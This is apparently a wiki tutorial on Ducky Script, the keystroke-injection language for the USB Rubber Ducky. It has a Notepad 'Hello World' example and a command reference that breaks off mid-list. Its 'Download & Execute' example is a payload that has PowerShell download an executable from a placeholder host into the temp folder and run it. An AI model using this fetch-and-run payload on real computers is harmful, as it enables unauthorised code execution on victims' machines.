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65 lines
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= Introduction =
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Since first time Ducky users are unfamiliar with Ducky Script, below is a brief summary (with examples) on how to code in Ducky Script.
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= Example 1 - Hello World =
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The Ducky fires the payload immediately, so you need an initial delay for the OS to recognize and allow the Ducky to proceed as a keyboard, in this example we use a delay of 3secs (3000msecs) for the Windows OS (other OS's may be quicker).
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The steps of this example can be broken down into:
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* Initial Delay for the OS
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* GUI r triggers the run-box
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* Small delay to wait for the run-box to open
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* Ducky types notepad ENTER to load notepad
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* Small delay to wait for notepad to open
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* Ducky then types an arbitrary string into notepad
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DELAY 3000
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GUI r
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DELAY 200
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STRING notepad
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ENTER
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DELAY 200
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STRING Hello World!!!
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ENTER
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* Note : For Windows 10, the GUI does not seem to work. Use CTRL ESC instead. Below is the complete example:
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<code>
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DELAY 2000
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CTRL ESC
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DELAY 2000
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STRING notepad.exe
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ENTER
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DELAY 2000
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STRING HELLO WORLD!!!
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ENTER
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</code>
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= Example 2 - Download & Execute =
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An example of using Powershell to download a file from the web and then execute it.
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DELAY 3000
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GUI r
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DELAY 100
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STRING powershell (new-object System.Net.WebClient).DownloadFile('http://example.com/bob.old','%TEMP%\bob.exe');
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DELAY 100
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STRING Start-Process "%TEMP%\bob.exe"
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ENTER
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= Other Examples =
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The community is storing generated payloads on the following wiki-page:
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* [[Payloads]]
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=Command Breakdown=
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* DELAY ''x'' - Delay in milli-secs
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* STRING ''xyz'' - types following characters
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* GUI - Windows Menu Key
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* GUI r - Windows Run box
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* COMMAND - OSX Command Key
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* UP | UPARROW - Up Key
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* DOWN | DOWNARROW - Down Key
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* LEFT | LEFTARROW - Left Key
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* RIGHT | RIGHTARROW - Right Key
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* CAPS |CAPSLOCK - Capslock Key
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* ENTER - Return/Enter key
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* SPACE - Spacebar
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* REPEAT ''x'' - Repeat previous command X times.
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You can even use some (but not all) two or three key-combinations:
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* SHIFT-ENTER
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* CTRL-ALT-DEL
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* ALT-F4 |